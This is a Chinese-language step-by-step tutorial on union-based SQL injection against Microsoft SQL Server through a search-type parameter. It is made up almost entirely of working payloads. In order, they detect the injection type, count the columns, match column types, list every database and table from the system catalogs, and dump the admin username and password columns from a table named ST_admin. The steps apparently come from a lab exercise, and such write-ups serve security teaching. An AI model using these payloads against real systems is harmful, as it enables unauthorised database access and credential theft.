mssql注入实例--联合查询注入
1. 判断注入点
能与数据库交互的地方
2. 判断注入类型
-- 判断是否是数值型
1
1 and 1=1 -- 返回数据是空
1 and 1=2 -- 返回数据是空
-- 判断是否是字符型
1' --+
1' and 1=1 --+ -- 返回数据是空
1' and 1=2 --+ -- 返回数据是空
-- 判断是否是搜型索
1%' --+
1%' and 1=1 --+ -- 能返回数据
1%' and 1=2 --+ -- 返回数据是空
综上,判断注入类型为搜索型
3. 判断此表列数
-
利用 order by n
1%' order by 5 --+ -- 首先猜测有5列,返回结果有数, 1%' order by 6 --+ -- 仍然有数据 1%' order by 7 --+ -- 返回报错数据
4. 判断每个字段的类型
mysql 和 mssql在使用union联合查询时有一定的不同之处。
mysql 不要求被连接的两个查询的字段类型一样;但是mssql要求所连接的两个查询的字段类型必须一致
1%' union all select 1,2,3,4,5,6 --+
-- int 与 text 不一样 要判断每个字段的类似
1%' union all select 1,null,null,null,null,null --+
-- 没有数据显示,继续构造
1%' union all select 1,2,null,null,null,null --+
-- 页面报错,有数据text和int不兼容,将select 1 改为 select '1'
-- 以此类推,最终得到以下
1%' union all select '1','2','3','4',5,6 --+
5. 查库名
5.1 查看此表所在库
1%' union all select '1',db_name(),'3','4',5,6 --+
注意 db_name() 不能加单引号写成 ‘db_name()’
得到此表所在的库名 ST_WebCourse
5.2 返回所有库名
1%' union all select '1',(name collate Chinese_PRC_BIN),
'3','4',5,6 from master..sysdatabases --
-- 返回所有库名
6. 查表名
1%' union all select '1',name,'3','4',5,6
from ST_WebCourse..sysobjects where xtype='U' --
ST_WebCourse…sysobjects 中记录了所有mssql数据库中表的信息
其中 ST_admin 是我们需要查看的表;其中有用户名和密码信息
7. 查字段名
1%' union all select '1',name,'3','4',5,6
from ST_WebCourse..syscolumns
where id=(select id from ST_WebCourse..sysobjects where name='ST_admin') --
ST_WebCourse…syscolumns 记录了所有mssql数据库中列的信息
select id from ST_WebCourse…sysobjects where name=‘ST_admin’
意思为查询ST_admin表中字段值对应的id
8. 获取单元格内数据
1%' union all select '1',admin,'3','4',5,6 from ST_admin --;
1%' union all select '1',pass,'3','4',5,6 from ST_admin --